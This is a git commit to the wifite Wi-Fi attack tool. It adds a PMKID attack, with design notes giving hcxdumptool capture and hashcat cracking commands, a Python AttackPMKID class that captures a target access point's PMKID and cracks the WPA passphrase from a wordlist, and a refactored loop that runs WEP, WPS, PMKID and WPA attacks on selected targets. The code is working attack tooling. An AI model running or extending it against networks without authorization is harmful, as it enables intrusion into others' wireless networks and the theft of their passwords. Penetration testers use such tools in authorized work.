Added PMKID attack. Simplified attack-loop.
This commit is contained in:
33
PMKID.md
Normal file
33
PMKID.md
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
### PMKID Attack
|
||||||
|
|
||||||
|
See https://hashcat.net/forum/thread-7717.html
|
||||||
|
|
||||||
|
### Steps
|
||||||
|
|
||||||
|
1. Start `hcxdumptool` (daemon)
|
||||||
|
* `sudo hcxdumptool -i wlan1mon -o pmkid.pcapng -t 10 --enable_status=1`
|
||||||
|
* Should also use `-c <channel>`, `--filterlist` and `--filtermode` to target a specific client
|
||||||
|
* Could be a new attack type: `wifite.attack.pmkid`
|
||||||
|
2. Detect when PMKID is found.
|
||||||
|
* `hcxpcaptool -z pmkid.16800 pmkid.pcapng`
|
||||||
|
* Single-line in pmkid.16800 will have PMKID, MACAP, MACStation, ESSID (in hex).
|
||||||
|
3. Save `.16800` file (to `./hs/`? or `./pmkids/`?)
|
||||||
|
* New result type: `pmkid_result`
|
||||||
|
* Add entry to `cracked.txt`
|
||||||
|
4. Run crack attack using hashcat:
|
||||||
|
* `./hashcat64.bin --force -m 16800 -a0 -w2 path/to/pmkid.16800 path/to/wordlist.txt`
|
||||||
|
|
||||||
|
### Problems
|
||||||
|
|
||||||
|
* Requires latest hashcat to be installed. This might be in a different directory.
|
||||||
|
* Use can specify path to hashcat? Yeck...
|
||||||
|
* % hashcat -h | grep 16800
|
||||||
|
* 16800 | WPA-PMKID-PBKDF2
|
||||||
|
* If target can't be attacked... we need to detect this failure mode.
|
||||||
|
* Might need to scrape `hcxdumptool`'s output
|
||||||
|
* Look at `pmkids()` func in .bashrc
|
||||||
|
* hcxpcaptool -z OUTPUT.16800 INPUT.pcapng > /dev/null
|
||||||
|
* Check OUTPUT.16800 for the ESSID.
|
||||||
|
* Wireless adapter support is minimal, apparently.
|
||||||
|
* hcxdumptool also deauths networks and captures handshakes... maybe unnecessarily
|
||||||
|
|
||||||
105
wifite/attack/all.py
Normal file
105
wifite/attack/all.py
Normal file
@@ -0,0 +1,105 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
from .wep import AttackWEP
|
||||||
|
from .wpa import AttackWPA
|
||||||
|
from .wps import AttackWPS
|
||||||
|
from .pmkid import AttackPMKID
|
||||||
|
from ..config import Configuration
|
||||||
|
from ..util.color import Color
|
||||||
|
from ..util.input import raw_input
|
||||||
|
|
||||||
|
class AttackAll(object):
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def attack_multiple(cls, targets):
|
||||||
|
attacked_targets = 0
|
||||||
|
targets_remaining = len(targets)
|
||||||
|
for index, target in enumerate(targets, start=1):
|
||||||
|
attacked_targets += 1
|
||||||
|
targets_remaining -= 1
|
||||||
|
|
||||||
|
bssid = target.bssid
|
||||||
|
essid = target.essid if target.essid_known else "{O}ESSID unknown{W}"
|
||||||
|
|
||||||
|
Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index, len(targets)) +
|
||||||
|
' starting attacks against {C}%s{W} ({C}%s{W})' % (bssid, essid))
|
||||||
|
|
||||||
|
should_continue = cls.attack_single(target, targets_remaining)
|
||||||
|
if not should_continue:
|
||||||
|
break
|
||||||
|
|
||||||
|
return attacked_targets
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def attack_single(cls, target, targets_remaining):
|
||||||
|
attacks = []
|
||||||
|
|
||||||
|
if Configuration.use_eviltwin:
|
||||||
|
pass # TODO:EvilTwin attack
|
||||||
|
|
||||||
|
elif 'WEP' in target.encryption:
|
||||||
|
attacks.append(AttackWEP(target))
|
||||||
|
|
||||||
|
elif 'WPA' in target.encryption:
|
||||||
|
# WPA can have multiple attack vectors
|
||||||
|
if target.wps:
|
||||||
|
attacks.append(AttackWPS(target))
|
||||||
|
attacks.append(AttackPMKID(target))
|
||||||
|
attacks.append(AttackWPA(target))
|
||||||
|
|
||||||
|
if len(attacks) == 0:
|
||||||
|
Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA")
|
||||||
|
return
|
||||||
|
|
||||||
|
for attack in attacks:
|
||||||
|
try:
|
||||||
|
result = attack.run()
|
||||||
|
if result and attack.success:
|
||||||
|
break # We cracked it.
|
||||||
|
except Exception as e:
|
||||||
|
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
|
||||||
|
if Configuration.verbose > 0 or Configuration.print_stack_traces:
|
||||||
|
Color.pl('\n{!} {O}Full stack trace below')
|
||||||
|
from traceback import format_exc
|
||||||
|
Color.p('\n{!} ')
|
||||||
|
err = format_exc().strip()
|
||||||
|
err = err.replace('\n', '\n{W}{!} {W} ')
|
||||||
|
err = err.replace(' File', '{W}{D}File')
|
||||||
|
err = err.replace(' Exception: ', '{R}Exception: {O}')
|
||||||
|
Color.pl(err)
|
||||||
|
continue
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
Color.pl('\n{!} {O}interrupted{W}\n')
|
||||||
|
if not cls.user_wants_to_continue(targets_remaining, 1):
|
||||||
|
return False # Stop attacking other targets
|
||||||
|
|
||||||
|
if attack.success:
|
||||||
|
attack.crack_result.save()
|
||||||
|
|
||||||
|
return True # Keep attacking other targets
|
||||||
|
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def user_wants_to_continue(cls, targets_remaining, attacks_remaining=0):
|
||||||
|
''' Asks user if attacks should continue onto other targets '''
|
||||||
|
if attacks_remaining == 0 and targets_remaining == 0:
|
||||||
|
# No targets or attacksleft, drop out
|
||||||
|
return
|
||||||
|
|
||||||
|
prompt_list = []
|
||||||
|
if attacks_remaining > 0:
|
||||||
|
prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining))
|
||||||
|
if targets_remaining > 0:
|
||||||
|
prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining))
|
||||||
|
prompt = ' and '.join(prompt_list)
|
||||||
|
Color.pl('{+} %s remain, do you want to continue?' % prompt)
|
||||||
|
|
||||||
|
prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' +
|
||||||
|
' or {R}s{W} to {R}stop{W}: ')
|
||||||
|
|
||||||
|
if raw_input(prompt).lower().startswith('s'):
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
return True
|
||||||
|
|
||||||
165
wifite/attack/pmkid.py
Normal file
165
wifite/attack/pmkid.py
Normal file
@@ -0,0 +1,165 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
from ..model.attack import Attack
|
||||||
|
from ..config import Configuration
|
||||||
|
from ..util.color import Color
|
||||||
|
from ..util.process import Process
|
||||||
|
from ..util.timer import Timer
|
||||||
|
from ..model.pmkid_result import CrackResultPMKID
|
||||||
|
|
||||||
|
from threading import Thread
|
||||||
|
import os
|
||||||
|
import time
|
||||||
|
|
||||||
|
'''
|
||||||
|
TODO:
|
||||||
|
1. Rename AttackWPA to AttackWpaHandshake
|
||||||
|
2. Rename AttackWPS to AttackWpaPixie
|
||||||
|
3. Rename AttackPMKID to AttackWpaPMKID
|
||||||
|
4. Use AttackWPA to try any or all of the above depending on config/args.
|
||||||
|
Greatly simplifies the attack loop in wifite.py
|
||||||
|
Or consolidate all attacks under "Attack" which selects the correct attack based on the target.
|
||||||
|
Might be hard to capture KeyboardInterrupt, but we can always propagate it.
|
||||||
|
|
||||||
|
Could move a ton of stuff in wifite.py (display_cracked, check_handshake) to a 'util'
|
||||||
|
'''
|
||||||
|
class AttackPMKID(Attack):
|
||||||
|
def __init__(self, target):
|
||||||
|
super(AttackPMKID, self).__init__(target)
|
||||||
|
self.crack_result = None
|
||||||
|
self.success = False
|
||||||
|
self.pcapng_output = Configuration.temp('pmkid.pcapng')
|
||||||
|
self.pmkid_output = Configuration.temp('pmkid.16800')
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
# TODO: Check cracked.txt for previously-captured PMKID, skip to crack if found.
|
||||||
|
self.keep_capturing = True
|
||||||
|
self.timer = Timer(60)
|
||||||
|
|
||||||
|
# Start hcxdumptool
|
||||||
|
t = Thread(target=self.hcxdump_thread)
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
# Regularly check hcxpcaptool output for hash for self.target.essid
|
||||||
|
pmkid_hash = None
|
||||||
|
while self.timer.remaining() > 0:
|
||||||
|
pmkid_hash = self.get_pmkid_hash()
|
||||||
|
if pmkid_hash is not None:
|
||||||
|
# Got PMKID
|
||||||
|
break
|
||||||
|
Color.pattack('PMKID', self.target, 'capture',
|
||||||
|
'Waiting for PMKID ({C}%s{W})' % str(self.timer))
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
if pmkid_hash is not None:
|
||||||
|
Color.pattack('PMKID', self.target, str(self.timer), 'Captured PMKID, cracking...')
|
||||||
|
# When hash is found, start cracking
|
||||||
|
if self.crack_pmkid(pmkid_hash):
|
||||||
|
self.success = True
|
||||||
|
|
||||||
|
self.keep_capturing = False
|
||||||
|
|
||||||
|
return self.success
|
||||||
|
|
||||||
|
def crack_pmkid(self, pmkid_hash):
|
||||||
|
# Write hash to file
|
||||||
|
# TODO: Should we write this to ./hs/ with .pmkid suffix?
|
||||||
|
hash_file = Configuration.temp('pmkid.hash')
|
||||||
|
with open(hash_file, 'w') as f:
|
||||||
|
f.write(pmkid_hash)
|
||||||
|
f.write('\n')
|
||||||
|
|
||||||
|
# Run hashcat
|
||||||
|
command = [
|
||||||
|
'hashcat',
|
||||||
|
'--force',
|
||||||
|
'--quiet',
|
||||||
|
'-m', '16800',
|
||||||
|
'-a', '0', # TODO: Configure
|
||||||
|
'-w', '2', # TODO: Configure
|
||||||
|
hash_file,
|
||||||
|
Configuration.wordlist
|
||||||
|
]
|
||||||
|
|
||||||
|
# TODO: Check status of hashcat (%); it's impossible with --quiet
|
||||||
|
|
||||||
|
try:
|
||||||
|
hashcat_proc = Process(command)
|
||||||
|
hashcat_proc.wait()
|
||||||
|
stdout = hashcat_proc.stdout()
|
||||||
|
except KeyboardInterrupt: # In case user gets impatient
|
||||||
|
stdout = ''
|
||||||
|
|
||||||
|
if ':' not in stdout:
|
||||||
|
# Failed
|
||||||
|
Color.pattack('PMKID', self.target, '{R}failed', '{O}Failed to crack PMKID ')
|
||||||
|
Color.pl("")
|
||||||
|
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, pmkid_hash, None)
|
||||||
|
#self.crack_result.dump()
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
# Update Crack Result
|
||||||
|
key = stdout.strip().split(':', 1)[1]
|
||||||
|
Color.pl("\n\n{+} Cracked PMKID! Key: {G}%s{W}\n" % key)
|
||||||
|
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, pmkid_hash, key)
|
||||||
|
self.crack_result.dump()
|
||||||
|
return True
|
||||||
|
|
||||||
|
def get_pmkid_hash(self):
|
||||||
|
if os.path.exists(self.pmkid_output):
|
||||||
|
os.remove(self.pmkid_output)
|
||||||
|
|
||||||
|
command = [
|
||||||
|
'hcxpcaptool',
|
||||||
|
'-z', self.pmkid_output,
|
||||||
|
self.pcapng_output
|
||||||
|
]
|
||||||
|
hcxpcap_proc = Process(command)
|
||||||
|
hcxpcap_proc.wait()
|
||||||
|
|
||||||
|
if not os.path.exists(self.pmkid_output):
|
||||||
|
return None
|
||||||
|
|
||||||
|
with open(self.pmkid_output, 'r') as f:
|
||||||
|
output = f.read()
|
||||||
|
|
||||||
|
# Check that we got the right target
|
||||||
|
# pmkid_hash*bssid*station_mac*essid(hex)
|
||||||
|
for line in output.split('\n'):
|
||||||
|
fields = line.split('*')
|
||||||
|
if len(fields) < 3:
|
||||||
|
continue
|
||||||
|
if fields[1].lower() != self.target.bssid.lower().replace(':', ''):
|
||||||
|
continue
|
||||||
|
output = line
|
||||||
|
break
|
||||||
|
|
||||||
|
os.remove(self.pmkid_output)
|
||||||
|
return output
|
||||||
|
|
||||||
|
def hcxdump_thread(self):
|
||||||
|
# Create filterlist
|
||||||
|
filterlist = Configuration.temp('pmkid.filterlist')
|
||||||
|
with open(filterlist, 'w') as filter_file:
|
||||||
|
filter_file.write(self.target.bssid.replace(':', ''))
|
||||||
|
|
||||||
|
if os.path.exists(self.pcapng_output):
|
||||||
|
os.remove(self.pcapng_output)
|
||||||
|
|
||||||
|
command = [
|
||||||
|
"hcxdumptool",
|
||||||
|
"-i", Configuration.interface,
|
||||||
|
"--filterlist", filterlist,
|
||||||
|
"--filtermode", "2",
|
||||||
|
"-c", self.target.channel,
|
||||||
|
"-o", self.pcapng_output
|
||||||
|
]
|
||||||
|
|
||||||
|
hcxdump_proc = Process(command)
|
||||||
|
|
||||||
|
# Let the dump tool run until we have the hash.
|
||||||
|
while self.keep_capturing and hcxdump_proc.poll() == None:
|
||||||
|
time.sleep(0.5)
|
||||||
|
|
||||||
|
hcxdump_proc.interrupt()
|
||||||
53
wifite/model/pmkid_result.py
Normal file
53
wifite/model/pmkid_result.py
Normal file
@@ -0,0 +1,53 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
from ..util.color import Color
|
||||||
|
from .result import CrackResult
|
||||||
|
|
||||||
|
class CrackResultPMKID(CrackResult):
|
||||||
|
def __init__(self, bssid, essid, pmkid_hash, key):
|
||||||
|
self.result_type = 'PMKID'
|
||||||
|
self.bssid = bssid
|
||||||
|
self.essid = essid
|
||||||
|
self.pmkid_hash = pmkid_hash
|
||||||
|
self.key = key
|
||||||
|
super(CrackResultPMKID, self).__init__()
|
||||||
|
|
||||||
|
def dump(self):
|
||||||
|
if self.essid:
|
||||||
|
Color.pl('{+} %s: {C}%s{W}' %
|
||||||
|
('Access Point Name'.rjust(19), self.essid))
|
||||||
|
if self.bssid:
|
||||||
|
Color.pl('{+} %s: {C}%s{W}' %
|
||||||
|
('Access Point BSSID'.rjust(19), self.bssid))
|
||||||
|
Color.pl('{+} %s: {C}%s{W}' %
|
||||||
|
('Encryption'.rjust(19), self.result_type))
|
||||||
|
if self.pmkid_hash:
|
||||||
|
Color.pl('{+} %s: {C}%s{W}' %
|
||||||
|
('PMKID'.rjust(19), self.pmkid_hash))
|
||||||
|
if self.key:
|
||||||
|
Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key))
|
||||||
|
else:
|
||||||
|
Color.pl('{!} %s {O}key unknown{W}' % ''.rjust(19))
|
||||||
|
|
||||||
|
def to_dict(self):
|
||||||
|
return {
|
||||||
|
'type' : self.result_type,
|
||||||
|
'date' : self.date,
|
||||||
|
'essid' : self.essid,
|
||||||
|
'bssid' : self.bssid,
|
||||||
|
'key' : self.key,
|
||||||
|
'pmkid' : self.pmkid_hash
|
||||||
|
}
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'abc*def*ghi*jkl', 'abcd1234')
|
||||||
|
w.dump()
|
||||||
|
|
||||||
|
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'abc*def*ghi*jkl', 'Key')
|
||||||
|
print('\n')
|
||||||
|
w.dump()
|
||||||
|
w.save()
|
||||||
|
print(w.__dict__['bssid'])
|
||||||
|
|
||||||
|
|
||||||
@@ -89,6 +89,13 @@ class CrackResult(object):
|
|||||||
json['essid'],
|
json['essid'],
|
||||||
json['pin'],
|
json['pin'],
|
||||||
json['psk'])
|
json['psk'])
|
||||||
|
|
||||||
|
elif json['type'] == 'PMKID':
|
||||||
|
from .pmkid_result import CrackResultPMKID
|
||||||
|
result = CrackResultPMKID(json['bssid'],
|
||||||
|
json['essid'],
|
||||||
|
json['pmkid'],
|
||||||
|
json['key'])
|
||||||
result.date = json['date']
|
result.date = json['date']
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
|||||||
@@ -138,7 +138,7 @@ class Airmon(Dependency):
|
|||||||
iface_type_path = os.path.join('/sys/class/net', iface, 'type')
|
iface_type_path = os.path.join('/sys/class/net', iface, 'type')
|
||||||
if os.path.exists(iface_type_path):
|
if os.path.exists(iface_type_path):
|
||||||
with open(iface_type_path, 'r') as f:
|
with open(iface_type_path, 'r') as f:
|
||||||
if (int(f.read()) == Airmon.ARPHRD_ETHER):
|
if (int(f.read()) == Airmon.ARPHRD_ETHER):
|
||||||
return iface
|
return iface
|
||||||
|
|
||||||
return None
|
return None
|
||||||
@@ -341,8 +341,11 @@ class Airmon(Dependency):
|
|||||||
|
|
||||||
if not Configuration.kill_conflicting_processes:
|
if not Configuration.kill_conflicting_processes:
|
||||||
# Don't kill processes, warn user
|
# Don't kill processes, warn user
|
||||||
for pid, pname in pid_pnames:
|
names_and_pids = ', '.join([
|
||||||
Color.pl('{!} {O}conflicting process: {R}%s{O} (PID {R}%s{O})' % (pname, pid))
|
'{R}%s{O} (PID {R}%s{O})' % (pname, pid)
|
||||||
|
for pid, pname in pid_pnames
|
||||||
|
])
|
||||||
|
Color.pl('{!} {O}conflicting processes: %s' % names_and_pids)
|
||||||
Color.pl('{!} {O}if you have problems: {R}kill -9 PID{O} or re-run wifite with {R}--kill{O}){W}')
|
Color.pl('{!} {O}if you have problems: {R}kill -9 PID{O} or re-run wifite with {R}--kill{O}){W}')
|
||||||
return
|
return
|
||||||
|
|
||||||
|
|||||||
@@ -11,9 +11,7 @@ from .util.process import Process
|
|||||||
from .util.color import Color
|
from .util.color import Color
|
||||||
from .util.crack import CrackHandshake
|
from .util.crack import CrackHandshake
|
||||||
from .util.input import raw_input
|
from .util.input import raw_input
|
||||||
from .attack.wep import AttackWEP
|
from .attack.all import AttackAll
|
||||||
from .attack.wpa import AttackWPA
|
|
||||||
from .attack.wps import AttackWPS
|
|
||||||
from .model.result import CrackResult
|
from .model.result import CrackResult
|
||||||
from .model.handshake import Handshake
|
from .model.handshake import Handshake
|
||||||
from .tools.dependency import Dependency
|
from .tools.dependency import Dependency
|
||||||
@@ -60,81 +58,7 @@ class Wifite(object):
|
|||||||
else:
|
else:
|
||||||
targets = s.select_targets()
|
targets = s.select_targets()
|
||||||
|
|
||||||
attacked_targets = 0
|
attacked_targets = AttackAll.attack_multiple(targets)
|
||||||
targets_remaining = len(targets)
|
|
||||||
for idx, t in enumerate(targets, start=1):
|
|
||||||
attacked_targets += 1
|
|
||||||
targets_remaining -= 1
|
|
||||||
|
|
||||||
Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (idx, len(targets)) +
|
|
||||||
' starting attacks against {C}%s{W} ({C}%s{W})'
|
|
||||||
% (t.bssid, t.essid if t.essid_known else "{O}ESSID unknown"))
|
|
||||||
|
|
||||||
# TODO: Check if Eviltwin attack is selected.
|
|
||||||
|
|
||||||
if Configuration.use_eviltwin:
|
|
||||||
pass
|
|
||||||
|
|
||||||
elif 'WEP' in t.encryption:
|
|
||||||
attack = AttackWEP(t)
|
|
||||||
|
|
||||||
elif 'WPA' in t.encryption:
|
|
||||||
# TODO: Move WPS+WPA decision to a combined attack
|
|
||||||
if t.wps:
|
|
||||||
attack = AttackWPS(t)
|
|
||||||
result = False
|
|
||||||
try:
|
|
||||||
result = attack.run()
|
|
||||||
except Exception as e:
|
|
||||||
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
|
|
||||||
if Configuration.verbose > 0 or Configuration.print_stack_traces:
|
|
||||||
Color.pl('\n{!} {O}Full stack trace below')
|
|
||||||
from traceback import format_exc
|
|
||||||
Color.p('\n{!} ')
|
|
||||||
err = format_exc().strip()
|
|
||||||
err = err.replace('\n', '\n{W}{!} {W} ')
|
|
||||||
err = err.replace(' File', '{W}{D}File')
|
|
||||||
err = err.replace(' Exception: ', '{R}Exception: {O}')
|
|
||||||
Color.pl(err)
|
|
||||||
except KeyboardInterrupt:
|
|
||||||
Color.pl('\n{!} {O}interrupted{W}\n')
|
|
||||||
if not self.user_wants_to_continue(targets_remaining, 1):
|
|
||||||
break
|
|
||||||
|
|
||||||
if result and attack.success:
|
|
||||||
# We cracked it.
|
|
||||||
attack.crack_result.save()
|
|
||||||
continue
|
|
||||||
else:
|
|
||||||
# WPS failed, try WPA handshake.
|
|
||||||
attack = AttackWPA(t)
|
|
||||||
else:
|
|
||||||
# Not using WPS, try WPA handshake.
|
|
||||||
attack = AttackWPA(t)
|
|
||||||
else:
|
|
||||||
Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA")
|
|
||||||
continue
|
|
||||||
|
|
||||||
try:
|
|
||||||
attack.run()
|
|
||||||
except Exception as e:
|
|
||||||
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
|
|
||||||
if Configuration.verbose > 0 or True:
|
|
||||||
Color.pl('\n{!} {O}Full stack trace below')
|
|
||||||
from traceback import format_exc
|
|
||||||
Color.p('\n{!} ')
|
|
||||||
err = format_exc().strip()
|
|
||||||
err = err.replace('\n', '\n{W}{!} {W} ')
|
|
||||||
err = err.replace(' File', '{W}{D}File')
|
|
||||||
err = err.replace(' Exception: ', '{R}Exception: {O}')
|
|
||||||
Color.pl(err)
|
|
||||||
except KeyboardInterrupt:
|
|
||||||
Color.pl('\n{!} {O}interrupted{W}\n')
|
|
||||||
if not self.user_wants_to_continue(targets_remaining):
|
|
||||||
break
|
|
||||||
|
|
||||||
if attack.success:
|
|
||||||
attack.crack_result.save()
|
|
||||||
Color.pl("{+} Finished attacking {C}%d{W} target(s), exiting" % attacked_targets)
|
Color.pl("{+} Finished attacking {C}%d{W} target(s), exiting" % attacked_targets)
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user